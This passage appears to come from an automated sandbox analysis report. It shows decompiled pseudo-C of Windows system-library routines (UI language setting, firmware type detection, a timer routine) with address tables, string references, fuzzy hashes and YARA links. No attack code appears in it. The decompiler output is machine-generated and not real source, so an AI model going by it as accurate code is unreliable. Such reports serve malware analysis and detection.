									goto L9;
								}
							} else {
								_t170 = _t170 | 0x00000008;
								__eflags = _t170;
								L9:
								_t81 = _t170 & 0x00000300;
								__eflags = _t81 - 0x300;
								if(_t81 == 0x300) {
									goto L43;
								} else {
									_t138 = _t170 & 0x00000001;
									__eflags = _t138;
									_v24 = _t138;
									if(_t138 != 0) {
										__eflags = _t81;
										if(_t81 != 0) {
											goto L43;
										} else {
											goto L11;
										}
									} else {
										L11:
										_push(_t129);
										_t77 = E00D56D90( &_v20);
										_t130 = _t77;
										__eflags = _t130;
										if(_t130 >= 0) {
											_push(_t174);
											__eflags = _t170 & 0x00000301;
											if((_t170 & 0x00000301) == 0) {
												_t176 = _a8;
												__eflags = _t176;
												if(__eflags == 0) {
													L64:
													_t83 =  *[fs:0x18];
													_t177 = 0;
													__eflags =  *(_t83 + 0xfb8);
													if( *(_t83 + 0xfb8) != 0) {
														E00D576E2( *((intOrPtr*)( *[fs:0x18] + 0xfb8)));
														 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = 0;
													}
													 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = _v12;
													goto L15;
												} else {
													asm("sbb edx, edx");
													_t114 = E00DE8938(_t130, _t176, ( ~(_t170 & 4) & 0xffffffaf) + 0x55, _t170, _t176, __eflags);
													__eflags = _t114;
													if(_t114 < 0) {
														_push("*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!\n");
														E00D4B150();
													}
													_t116 = E00DE6D81(_t176,  &_v16);
													__eflags = _t116;
													if(_t116 >= 0) {
														__eflags = _v16 - 2;
														if(_v16 < 2) {
															L56:
															_t118 = E00D575CE(_v20, 5, 0);
															__eflags = _t118;
															if(_t118 < 0) {
																L67:
																_t130 = 0xc0000017;
																goto L32;
															} else {
																__eflags = _v12;
																if(_v12 == 0) {
																	goto L67;
																} else {
																	_t153 =  *0xe38638; // 0x0
																	_t122 = L00D538A4(_t153, _t176, _v16, _t170 | 0x00000002, 0x1a, 5,  &_v12);
																	_t154 = _v12;
																	_t130 = _t122;
																	__eflags = _t130;
																	if(_t130 >= 0) {
																		_t123 =  *(_t154 + 4) & 0x0000ffff;
																		__eflags = _t123;
																		if(_t123 != 0) {
																			_t155 = _a12;
																			__eflags = _t155;
																			if(_t155 != 0) {
																				 *_t155 = _t123;
																			}
																			goto L64;
																		} else {
																			E00D576E2(_t154);
																			goto L41;
																		}
																	} else {
																		E00D576E2(_t154);
																		_t177 = 0;
																		goto L18;
																	}
																}
															}
														} else {
															__eflags =  *_t176;
															if( *_t176 != 0) {
																goto L56;
															} else {
																__eflags =  *(_t176 + 2);
																if( *(_t176 + 2) == 0) {
																	goto L64;
																} else {
																	goto L56;
																}
															}
														}
													} else {
														_t130 = 0xc000000d;
														goto L32;
													}
												}
												goto L35;
											} else {
												__eflags = _a8;
												if(_a8 != 0) {
													_t77 = 0xc000000d;
												} else {
													_v5 = 1;
													L00D7FCE3(_v20, _t170);
													_t177 = 0;
													__eflags = 0;
													L15:
													_t85 =  *[fs:0x18];
													__eflags =  *((intOrPtr*)(_t85 + 0xfc0)) - _t177;
													if( *((intOrPtr*)(_t85 + 0xfc0)) == _t177) {
														L18:
														__eflags = _t130;
														if(_t130 != 0) {
															goto L32;
														} else {
															__eflags = _v5 - _t130;
															if(_v5 == _t130) {
																goto L32;
															} else {
																_t86 =  *[fs:0x18];
																__eflags =  *((intOrPtr*)(_t86 + 0xfbc)) - _t177;
																if( *((intOrPtr*)(_t86 + 0xfbc)) != _t177) {
																	_t177 =  *( *( *[fs:0x18] + 0xfbc));
																}
																__eflags = _t177;
																if(_t177 == 0) {
																	L31:
																	__eflags = 0;
																	L00D570F0(_t170 | 0x00000030,  &_v32, 0,  &_v28);
																	goto L32;
																} else {
																	__eflags = _v24;
																	_t91 =  *(_t177 + 0x20);
																	if(_v24 != 0) {
																		 *(_t177 + 0x20) = _t91 & 0xfffffff9;
																		goto L31;
																	} else {
																		_t141 = _t91 & 0x00000040;
																		__eflags = _t170 & 0x00000100;
																		if((_t170 & 0x00000100) == 0) {
																			__eflags = _t141;
																			if(_t141 == 0) {
																				L74:
																				_t94 = _t91 & 0xfffffffd | 0x00000004;
																				goto L27;
																			} else {
																				_t177 = E00D7FD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					goto L42;
																				} else {
																					_t130 = E00D7FD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						_t68 = _t177 + 0x20;
																						 *_t68 =  *(_t177 + 0x20) & 0xffffffbf;
																						__eflags =  *_t68;
																						_t91 =  *(_t177 + 0x20);
																						goto L74;
																					}
																				}
																			}
																			goto L35;
																		} else {
																			__eflags = _t141;
																			if(_t141 != 0) {
																				_t177 = E00D7FD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					L42:
																					_t77 = 0xc0000001;
																					goto L33;
																				} else {
																					_t130 = E00D7FD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						 *(_t177 + 0x20) =  *(_t177 + 0x20) & 0xffffffbf;
																						_t91 =  *(_t177 + 0x20);
																						goto L26;
																					}
																				}
																				goto L35;
																			} else {
																				L26:
																				_t94 = _t91 & 0xfffffffb | 0x00000002;
																				__eflags = _t94;
																				L27:
																				 *(_t177 + 0x20) = _t94;
																				__eflags = _t170 & 0x00008000;
																				if((_t170 & 0x00008000) != 0) {
																					_t95 = _a12;
																					__eflags = _t95;
																					if(_t95 != 0) {
																						_t96 =  *_t95;
																						__eflags = _t96;
																						if(_t96 != 0) {
																							 *((short*)(_t177 + 0x22)) = 0;
																							_t40 = _t177 + 0x20;
																							 *_t40 =  *(_t177 + 0x20) | _t96 << 0x00000010;
																							__eflags =  *_t40;
																						}
																					}
																				}
																				goto L31;
																			}
																		}
																	}
																}
															}
														}
													} else {
														_t147 =  *( *[fs:0x18] + 0xfc0);
														_t106 =  *(_t147 + 0x20);
														__eflags = _t106 & 0x00000040;
														if((_t106 & 0x00000040) != 0) {
															_t147 = E00D7FD22(_t147);
															__eflags = _t147;
															if(_t147 == 0) {
																L41:
																_t130 = 0xc0000001;
																L32:
																_t77 = _t130;
																goto L33;
															} else {
																 *(_t147 + 0x20) =  *(_t147 + 0x20) & 0xffffffbf;
																_t106 =  *(_t147 + 0x20);
																goto L17;
															}
															goto L35;
														} else {
															L17:
															_t108 = _t106 | 0x00000080;
															__eflags = _t108;
															 *(_t147 + 0x20) = _t108;
															 *( *[fs:0x18] + 0xfc0) = _t147;
															goto L18;
														}
													}
												}
											}
											L33:
										}
									}
								}
							}
						}
						L35:
						return _t77;
					} else {
						 *_t75 = 0xe37b80;
						 *((intOrPtr*)(_t75 + 4)) = _t134;
						 *_t134 = _t75;
						 *0xe37b84 = _t75;
						_t73 = E00D5EB70(_t134, 0xe37b60);
						if( *0xe37b20 != 0) {
							_t73 =  *( *[fs:0x30] + 0xc);
							if( *((char*)(_t73 + 0x28)) == 0) {
								_t73 = E00D5FF60( *0xe37b20);
							}
						}
						goto L5;
					}
				}
			}

0x00d7fab0
0x00d7fab2
0x00d7fab3
0x00d7fab4
0x00d7fabc
0x00d7fac0
0x00d7fb14
0x00d7fb17
0x00d7fac2
0x00d7fac8
0x00d7facd
0x00d7fad3
0x00d7fad3
0x00d7fadd
0x00d7fb18
0x00d7fb1b
0x00d7fb1d
0x00d7fb1e
0x00d7fb1f
0x00d7fb20
0x00d7fb21
0x00d7fb22
0x00d7fb23
0x00d7fb24
0x00d7fb25
0x00d7fb26
0x00d7fb27
0x00d7fb28
0x00d7fb29
0x00d7fb2a
0x00d7fb2b
0x00d7fb2c
0x00d7fb2d
0x00d7fb2e
0x00d7fb2f
0x00d7fb3a
0x00d7fb3b
0x00d7fb3e
0x00d7fb41
0x00d7fb44
0x00d7fb47
0x00d7fb4a
0x00d7fb4d
0x00d7fb53
0x00dbbdcb
0x00dbbdcb
0x00d7fb59
0x00d7fb5b
0x00d7fb5b
0x00d7fb5e
0x00dbbdd5
0x00dbbdd8
0x00000000
0x00dbbdda
0x00000000
0x00dbbdda
0x00d7fb64
0x00d7fb64
0x00d7fb64
0x00d7fb67
0x00d7fb6e
0x00d7fb70
0x00d7fb72
0x00000000
0x00d7fb78
0x00d7fb7a
0x00d7fb7a
0x00d7fb7d
0x00d7fb80
0x00dbbddf
0x00dbbde1
0x00000000
0x00dbbde3
0x00000000
0x00dbbde3
0x00d7fb86
0x00d7fb86
0x00d7fb86
0x00d7fb8b
0x00d7fb90
0x00d7fb92
0x00d7fb94
0x00d7fb9a
0x00d7fb9b
0x00d7fba1
0x00dbbde8
0x00dbbdeb
0x00dbbded
0x00dbbeb5
0x00dbbeb5
0x00dbbebb
0x00dbbebd
0x00dbbec3
0x00dbbed2
0x00dbbedd
0x00dbbedd
0x00dbbeed
0x00000000
0x00dbbdf3
0x00dbbdfe
0x00dbbe06
0x00dbbe0b
0x00dbbe0d
0x00dbbe0f
0x00dbbe14
0x00dbbe19
0x00dbbe20
0x00dbbe25
0x00dbbe27
0x00dbbe35
0x00dbbe39
0x00dbbe46
0x00dbbe4f
0x00dbbe54
0x00dbbe56
0x00dbbef8
0x00dbbef8
0x00000000
0x00dbbe5c
0x00dbbe5c
0x00dbbe60
0x00000000
0x00dbbe66
0x00dbbe66
0x00dbbe7f
0x00dbbe84
0x00dbbe87
0x00dbbe89
0x00dbbe8b
0x00dbbe99
0x00dbbe9d
0x00dbbea0
0x00dbbeac
0x00dbbeaf
0x00dbbeb1
0x00dbbeb3
0x00dbbeb3
0x00000000
0x00dbbea2
0x00dbbea2
0x00000000
0x00dbbea2
0x00dbbe8d
0x00dbbe8d
0x00dbbe92
0x00000000
0x00dbbe92
0x00dbbe8b
0x00dbbe60
0x00dbbe3b
0x00dbbe3b
0x00dbbe3e
0x00000000
0x00dbbe40
0x00dbbe40
0x00dbbe44
0x00000000
0x00000000
0x00000000
0x00000000
0x00dbbe44
0x00dbbe3e
0x00dbbe29
0x00dbbe29
0x00000000
0x00dbbe29
0x00dbbe27
0x00000000
0x00d7fba7
0x00d7fba7
0x00d7fbab
0x00dbbf02
0x00d7fbb1
0x00d7fbb1
0x00d7fbb8
0x00d7fbbd
0x00d7fbbd
0x00d7fbbf
0x00d7fbbf
0x00d7fbc5
0x00d7fbcb
0x00d7fbf8
0x00d7fbf8
0x00d7fbfa
0x00000000
0x00d7fc00
0x00d7fc00
0x00d7fc03
0x00000000
0x00d7fc09
0x00d7fc09
0x00d7fc0f
0x00d7fc15
0x00d7fc23
0x00d7fc23
0x00d7fc25
0x00d7fc27
0x00d7fc75
0x00d7fc7c
0x00d7fc84
0x00000000
0x00d7fc29
0x00d7fc29
0x00d7fc2d
0x00d7fc30
0x00dbbf0f
0x00000000
0x00d7fc36
0x00d7fc38
0x00d7fc3b
0x00d7fc41
0x00dbbf17
0x00dbbf19
0x00dbbf48
0x00dbbf4b
0x00000000
0x00dbbf1b
0x00dbbf22
0x00dbbf24
0x00dbbf26
0x00000000
0x00dbbf2c
0x00dbbf37
0x00dbbf39
0x00dbbf3b
0x00000000
0x00dbbf41
0x00dbbf41
0x00dbbf41
0x00dbbf41
0x00dbbf45
0x00000000
0x00dbbf45
0x00dbbf3b
0x00dbbf26
0x00000000
0x00d7fc47
0x00d7fc47
0x00d7fc49
0x00d7fcb2
0x00d7fcb4
0x00d7fcb6
0x00d7fcdc
0x00d7fcdc
0x00000000
0x00d7fcb8
0x00d7fcc3
0x00d7fcc5
0x00d7fcc7
0x00000000
0x00d7fcc9
0x00d7fcc9
0x00d7fccd
0x00000000
0x00d7fccd
0x00d7fcc7
0x00000000
0x00d7fc4b
0x00d7fc4b
0x00d7fc4e
0x00d7fc4e
0x00d7fc51
0x00d7fc51
0x00d7fc54
0x00d7fc5a
0x00d7fc5c
0x00d7fc5f
0x00d7fc61
0x00d7fc63
0x00d7fc65
0x00d7fc67
0x00d7fc6e
0x00d7fc72
0x00d7fc72
0x00d7fc72
0x00d7fc72
0x00d7fc67
0x00d7fc61
0x00000000
0x00d7fc5a
0x00d7fc49
0x00d7fc41
0x00d7fc30
0x00d7fc27
0x00d7fc03
0x00d7fbcd
0x00d7fbd3
0x00d7fbd9
0x00d7fbdc
0x00d7fbde
0x00d7fc99
0x00d7fc9b
0x00d7fc9d
0x00d7fcd5
0x00d7fcd5
0x00d7fc89
0x00d7fc89
0x00000000
0x00d7fc9f
0x00d7fc9f
0x00d7fca3
0x00000000
0x00d7fca3
0x00000000
0x00d7fbe4
0x00d7fbe4
0x00d7fbe4
0x00d7fbe4
0x00d7fbe9
0x00d7fbf2
0x00000000
0x00d7fbf2
0x00d7fbde
0x00d7fbcb
0x00d7fbab
0x00d7fc8b
0x00d7fc8b
0x00d7fc8c
0x00d7fb80
0x00d7fb72
0x00d7fb5e
0x00d7fc8d
0x00d7fc91
0x00d7fadf
0x00d7fadf
0x00d7fae1
0x00d7fae4
0x00d7fae7
0x00d7faec
0x00d7faf8
0x00d7fb00
0x00d7fb07
0x00d7fb0f
0x00d7fb0f
0x00d7fb07
0x00000000
0x00d7faf8
0x00d7fadd

Strings

*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!, xrefs: 00DBBE0F
@1x, xrefs: 00D7FAF1

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: *** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!$@1x
API String ID: 0-401214102
Opcode ID: b43215e474d98d2cdf8b0630f1bb307fbdd9134e7ddcd84af9abc1b894a53d25
Instruction ID: ce25eb0ac1a4518aece829eab0303416aec7b601148bc932bc66cffd0264361c
Opcode Fuzzy Hash: b43215e474d98d2cdf8b0630f1bb307fbdd9134e7ddcd84af9abc1b894a53d25
Instruction Fuzzy Hash: B9A10471A00609CBDB35CF69C4907BAB3A5EF44720F18857AE94ADB690EB74DC058BB0

Uniqueness

Uniqueness Score: -1.00%

Function 00DC51BE, Relevance: 2.7, Strings: 2, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00DC51BE(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				signed short* _t63;
				signed int _t64;
				signed int _t65;
				signed int _t67;
				intOrPtr _t74;
				intOrPtr _t84;
				intOrPtr _t88;
				intOrPtr _t94;
				void* _t100;
				void* _t103;
				intOrPtr _t105;
				signed int _t106;
				short* _t108;
				signed int _t110;
				signed int _t113;
				signed int* _t115;
				signed short* _t117;
				void* _t118;
				void* _t119;

				_push(0x80);
				_push(0xe205f0);
				E00D9D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t118 - 0x80)) = __edx;
				_t115 =  *(_t118 + 0xc);
				 *(_t118 - 0x7c) = _t115;
				 *((char*)(_t118 - 0x65)) = 0;
				 *((intOrPtr*)(_t118 - 0x64)) = 0;
				_t113 = 0;
				 *((intOrPtr*)(_t118 - 0x6c)) = 0;
				 *((intOrPtr*)(_t118 - 4)) = 0;
				_t100 = __ecx;
				if(_t100 == 0) {
					 *(_t118 - 0x90) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
					E00D5EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *((char*)(_t118 - 0x65)) = 1;
					_t63 =  *(_t118 - 0x90);
					_t101 = _t63[2];
					_t64 =  *_t63 & 0x0000ffff;
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					L20:
					_t65 = _t64 >> 1;
					L21:
					_t108 =  *((intOrPtr*)(_t118 - 0x80));
					if(_t108 == 0) {
						L27:
						 *_t115 = _t65 + 1;
						_t67 = 0xc0000023;
						L28:
						 *((intOrPtr*)(_t118 - 0x64)) = _t67;
						L29:
						 *((intOrPtr*)(_t118 - 4)) = 0xfffffffe;
						E00DC53CA(0);
						return E00D9D130(0, _t113, _t115);
					}
					if(_t65 >=  *((intOrPtr*)(_t118 + 8))) {
						if(_t108 != 0 &&  *((intOrPtr*)(_t118 + 8)) >= 1) {
							 *_t108 = 0;
						}
						goto L27;
					}
					 *_t115 = _t65;
					_t115 = _t65 + _t65;
					E00D8F3E0(_t108, _t101, _t115);
					 *((short*)(_t115 +  *((intOrPtr*)(_t118 - 0x80)))) = 0;
					_t67 = 0;
					goto L28;
				}
				_t103 = _t100 - 1;
				if(_t103 == 0) {
					_t117 =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38;
					_t74 = E00D63690(1, _t117, 0xd21810, _t118 - 0x74);
					 *((intOrPtr*)(_t118 - 0x64)) = _t74;
					_t101 = _t117[2];
					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
					if(_t74 < 0) {
						_t64 =  *_t117 & 0x0000ffff;
						_t115 =  *(_t118 - 0x7c);
						goto L20;
					}
					_t65 = (( *(_t118 - 0x74) & 0x0000ffff) >> 1) + 1;
					_t115 =  *(_t118 - 0x7c);
					goto L21;
				}
				if(_t103 == 1) {
					_t105 = 4;
					 *((intOrPtr*)(_t118 - 0x78)) = _t105;
					 *((intOrPtr*)(_t118 - 0x70)) = 0;
					_push(_t118 - 0x70);
					_push(0);
					_push(0);
					_push(_t105);
					_push(_t118 - 0x78);
					_push(0x6b);
					 *((intOrPtr*)(_t118 - 0x64)) = E00D8AA90();
					 *((intOrPtr*)(_t118 - 0x64)) = 0;
					_t113 = L00D64620(_t105,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8,  *((intOrPtr*)(_t118 - 0x70)));
					 *((intOrPtr*)(_t118 - 0x6c)) = _t113;
					if(_t113 != 0) {
						_push(_t118 - 0x70);
						_push( *((intOrPtr*)(_t118 - 0x70)));
						_push(_t113);
						_push(4);
						_push(_t118 - 0x78);
						_push(0x6b);
						_t84 = E00D8AA90();
						 *((intOrPtr*)(_t118 - 0x64)) = _t84;
						if(_t84 < 0) {
							goto L29;
						}
						_t110 = 0;
						_t106 = 0;
						while(1) {
							 *((intOrPtr*)(_t118 - 0x84)) = _t110;
							 *(_t118 - 0x88) = _t106;
							if(_t106 >= ( *(_t113 + 0xa) & 0x0000ffff)) {
								break;
							}
							_t110 = _t110 + ( *(_t106 * 0x2c + _t113 + 0x21) & 0x000000ff);
							_t106 = _t106 + 1;
						}
						_t88 = E00DC500E(_t106, _t118 - 0x3c, 0x20, _t118 - 0x8c, 0, 0, L"%u", _t110);
						_t119 = _t119 + 0x1c;
						 *((intOrPtr*)(_t118 - 0x64)) = _t88;
						if(_t88 < 0) {
							goto L29;
						}
						_t101 = _t118 - 0x3c;
						_t65 =  *((intOrPtr*)(_t118 - 0x8c)) - _t118 - 0x3c >> 1;
						goto L21;
					}
					_t67 = 0xc0000017;
					goto L28;
				}
				_push(0);
				_push(0x20);
				_push(_t118 - 0x60);
				_push(0x5a);
				_t94 = E00D89860();
				 *((intOrPtr*)(_t118 - 0x64)) = _t94;
				if(_t94 < 0) {
					goto L29;
				}
				if( *((intOrPtr*)(_t118 - 0x50)) == 1) {
					_t101 = L"Legacy";
					_push(6);
				} else {
					_t101 = L"UEFI";
					_push(4);
				}
				_pop(_t65);
				goto L21;
			}

0x00dc51be
0x00dc51c3
0x00dc51c8
0x00dc51cd
0x00dc51d0
0x00dc51d3
0x00dc51d8
0x00dc51db
0x00dc51de
0x00dc51e0
0x00dc51e3
0x00dc51e6
0x00dc51e8
0x00dc5342
0x00dc5351
0x00dc5356
0x00dc535a
0x00dc5360
0x00dc5363
0x00dc5366
0x00dc5369
0x00dc5369
0x00dc536b
0x00dc536b
0x00dc5370
0x00dc53a3
0x00dc53a4
0x00dc53a6
0x00dc53ab
0x00dc53ab
0x00dc53ae
0x00dc53ae
0x00dc53b5
0x00dc53bf
0x00dc53bf
0x00dc5375
0x00dc5396
0x00dc53a0
0x00dc53a0
0x00000000
0x00dc5396
0x00dc5377
0x00dc5379
0x00dc537f
0x00dc538c
0x00dc5390
0x00000000
0x00dc5390
0x00dc51ee
0x00dc51f1
0x00dc5301
0x00dc5310
0x00dc5315
0x00dc5318
0x00dc531b
0x00dc5320
0x00dc532e
0x00dc5331
0x00000000
0x00dc5331
0x00dc5328
0x00dc5329
0x00000000
0x00dc5329
0x00dc51fa
0x00dc5235
0x00dc5236
0x00dc5239
0x00dc523f
0x00dc5240
0x00dc5241
0x00dc5242
0x00dc5246
0x00dc5247
0x00dc524e
0x00dc5251
0x00dc5267
0x00dc5269
0x00dc526e
0x00dc527d
0x00dc527e
0x00dc5281
0x00dc5282
0x00dc5287
0x00dc5288
0x00dc528a
0x00dc528f
0x00dc5294
0x00000000
0x00000000
0x00dc529a
0x00dc529c
0x00dc529e
0x00dc529e
0x00dc52a4
0x00dc52b0
0x00000000
0x00000000
0x00dc52ba
0x00dc52bc
0x00dc52bc
0x00dc52d4
0x00dc52d9
0x00dc52dc
0x00dc52e1
0x00000000
0x00000000
0x00dc52e7
0x00dc52f4
0x00000000
0x00dc52f4
0x00dc5270
0x00000000
0x00dc5270
0x00dc51fc
0x00dc51fd
0x00dc5202
0x00dc5203
0x00dc5205
0x00dc520a
0x00dc520f
0x00000000
0x00000000
0x00dc521b
0x00dc5226
0x00dc522b
0x00dc521d
0x00dc521d
0x00dc5222
0x00dc5222
0x00dc522d
0x00000000

Strings

UEFI, xrefs: 00DC521D
Legacy, xrefs: 00DC5226

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID: Legacy$UEFI
API String ID: 2994545307-634100481
Opcode ID: aa9110d2915adaae0d114684c7478af57c1e6bf8f8ca496c935b880ee0dbe9e2
Instruction ID: 98a12479c4d1ed7157ef11c311da4aae20a9c927a96802e2eeeeeadbac63be98
Opcode Fuzzy Hash: aa9110d2915adaae0d114684c7478af57c1e6bf8f8ca496c935b880ee0dbe9e2
Instruction Fuzzy Hash: ED516D71A00A5A9FDB24DFA8D880FADB7F8FF48740F24402DE549EB295D671E940CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00D6B944, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00D6B944(signed int* __ecx, char __edx) {
				signed int _v8;
				signed int _v16;
				signed int _v20;
				char _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v77;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t65;
				intOrPtr _t67;
				intOrPtr _t68;
				char* _t73;
				intOrPtr _t77;
				intOrPtr _t78;
				signed int _t82;
				intOrPtr _t83;
				void* _t87;
				char _t88;
				intOrPtr* _t89;
				intOrPtr _t91;
				void* _t97;
				intOrPtr _t100;
				void* _t102;
				void* _t107;
				signed int _t108;
				intOrPtr* _t112;
				void* _t113;
				intOrPtr* _t114;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t117;
				signed int _t118;
				void* _t130;

				_t120 = (_t118 & 0xfffffff8) - 0x4c;
				_v8 =  *0xe3d360 ^ (_t118 & 0xfffffff8) - 0x0000004c;
				_t112 = __ecx;
				_v77 = __edx;
				_v48 = __ecx;
				_v28 = 0;
				_t5 = _t112 + 0xc; // 0x575651ff
				_t105 =  *_t5;
				_v20 = 0;
				_v16 = 0;
				if(_t105 == 0) {
					_t50 = _t112 + 4; // 0x5de58b5b
					_t60 =  *__ecx |  *_t50;
					if(( *__ecx |  *_t50) != 0) {
						 *__ecx = 0;
						__ecx[1] = 0;
						if(E00D67D50() != 0) {
							_t65 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t65 = 0x7ffe0386;
						}
						if( *_t65 != 0) {
							E00E18CD6(_t112);
						}
						_push(0);
						_t52 = _t112 + 0x10; // 0x778df98b
						_push( *_t52);
						_t60 = E00D89E20();
					}
					L20:
					_pop(_t107);
					_pop(_t113);
					_pop(_t87);
					return E00D8B640(_t60, _t87, _v8 ^ _t120, _t105, _t107, _t113);
				}
				_t8 = _t112 + 8; // 0x8b000cc2
				_t67 =  *_t8;
				_t88 =  *((intOrPtr*)(_t67 + 0x10));
				_t97 =  *((intOrPtr*)(_t105 + 0x10)) - _t88;
				_t108 =  *(_t67 + 0x14);
				_t68 =  *((intOrPtr*)(_t105 + 0x14));
				_t105 = 0x2710;
				asm("sbb eax, edi");
				_v44 = _t88;
				_v52 = _t108;
				_t60 = E00D8CE00(_t97, _t68, 0x2710, 0);
				_v56 = _t60;
				if( *_t112 != _t88 ||  *(_t112 + 4) != _t108) {
					L3:
					 *(_t112 + 0x44) = _t60;
					_t105 = _t60 * 0x2710 >> 0x20;
					 *_t112 = _t88;
					 *(_t112 + 4) = _t108;
					_v20 = _t60 * 0x2710;
					_v16 = _t60 * 0x2710 >> 0x20;
					if(_v77 != 0) {
						L16:
						_v36 = _t88;
						_v32 = _t108;
						if(E00D67D50() != 0) {
							_t73 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t73 = 0x7ffe0386;
						}
						if( *_t73 != 0) {
							_t105 = _v40;
							E00E18F6A(_t112, _v40, _t88, _t108);
						}
						_push( &_v28);
						_push(0);
						_push( &_v36);
						_t48 = _t112 + 0x10; // 0x778df98b
						_push( *_t48);
						_t60 = E00D8AF60();
						goto L20;
					} else {
						_t89 = 0x7ffe03b0;
						do {
							_t114 = 0x7ffe0010;
							do {
								_t77 =  *0xe38628; // 0x0
								_v68 = _t77;
								_t78 =  *0xe3862c; // 0x0
								_v64 = _t78;
								_v72 =  *_t89;
								_v76 =  *((intOrPtr*)(_t89 + 4));
								while(1) {
									_t105 =  *0x7ffe000c;
									_t100 =  *0x7ffe0008;
									if(_t105 ==  *_t114) {
										goto L8;
									}
									asm("pause");
								}
								L8:
								_t89 = 0x7ffe03b0;
								_t115 =  *0x7ffe03b0;
								_t82 =  *0x7FFE03B4;
								_v60 = _t115;
								_t114 = 0x7ffe0010;
								_v56 = _t82;
							} while (_v72 != _t115 || _v76 != _t82);
							_t83 =  *0xe38628; // 0x0
							_t116 =  *0xe3862c; // 0x0
							_v76 = _t116;
							_t117 = _v68;
						} while (_t117 != _t83 || _v64 != _v76);
						asm("sbb edx, [esp+0x24]");
						_t102 = _t100 - _v60 - _t117;
						_t112 = _v48;
						_t91 = _v44;
						asm("sbb edx, eax");
						_t130 = _t105 - _v52;
						if(_t130 < 0 || _t130 <= 0 && _t102 <= _t91) {
							_t88 = _t102 - _t91;
							asm("sbb edx, edi");
							_t108 = _t105;
						} else {
							_t88 = 0;
							_t108 = 0;
						}
						goto L16;
					}
				} else {
					if( *(_t112 + 0x44) == _t60) {
						goto L20;
					}
					goto L3;
				}
			}

0x00d6b94c
0x00d6b956
0x00d6b95c
0x00d6b95e
0x00d6b964
0x00d6b969
0x00d6b96d
0x00d6b96d
0x00d6b970
0x00d6b974
0x00d6b97a
0x00d6badf
0x00d6badf
0x00d6bae2
0x00d6bae4
0x00d6bae6
0x00d6baf0
0x00db2cb8
0x00d6baf6
0x00d6baf6
0x00d6baf6
0x00d6bafd
0x00d6bb1f
0x00d6bb1f
0x00d6baff
0x00d6bb00
0x00d6bb00
0x00d6bb03
0x00d6bb03
0x00d6bacb
0x00d6bacf
0x00d6bad0
0x00d6bad1
0x00d6badc
0x00d6badc
0x00d6b980
0x00d6b980
0x00d6b988
0x00d6b98b
0x00d6b98d
0x00d6b990
0x00d6b993
0x00d6b999
0x00d6b99b
0x00d6b9a1
0x00d6b9a5
0x00d6b9aa
0x00d6b9b0
0x00d6b9bb
0x00d6b9c0
0x00d6b9c3
0x00d6b9ca
0x00d6b9cc
0x00d6b9cf
0x00d6b9d3
0x00d6b9d7
0x00d6ba94
0x00d6ba94
0x00d6ba98
0x00d6baa3
0x00db2ccb
0x00d6baa9
0x00d6baa9
0x00d6baa9
0x00d6bab1
0x00db2cd5
0x00db2cdd
0x00db2cdd
0x00d6babb
0x00d6babc
0x00d6bac2
0x00d6bac3
0x00d6bac3
0x00d6bac6
0x00000000
0x00d6b9dd
0x00d6b9dd
0x00d6b9e7
0x00d6b9e7
0x00d6b9ec
0x00d6b9ec
0x00d6b9f1
0x00d6b9f5
0x00d6b9fa
0x00d6ba00
0x00d6ba0c
0x00d6ba10
0x00d6ba10
0x00d6ba12
0x00d6ba18
0x00000000
0x00000000
0x00d6bb26
0x00d6bb26
0x00d6ba1e
0x00d6ba1e
0x00d6ba23
0x00d6ba25
0x00d6ba2c
0x00d6ba30
0x00d6ba35
0x00d6ba35
0x00d6ba41
0x00d6ba46
0x00d6ba4c
0x00d6ba50
0x00d6ba54
0x00d6ba6a
0x00d6ba6e
0x00d6ba70
0x00d6ba74
0x00d6ba78
0x00d6ba7a
0x00d6ba7c
0x00d6ba8e
0x00d6ba90
0x00d6ba92
0x00d6bb14
0x00d6bb14
0x00d6bb16
0x00d6bb16
0x00000000
0x00d6ba7c
0x00d6bb0a
0x00d6bb0d
0x00000000
0x00000000
0x00000000
0x00d6bb0f

APIs

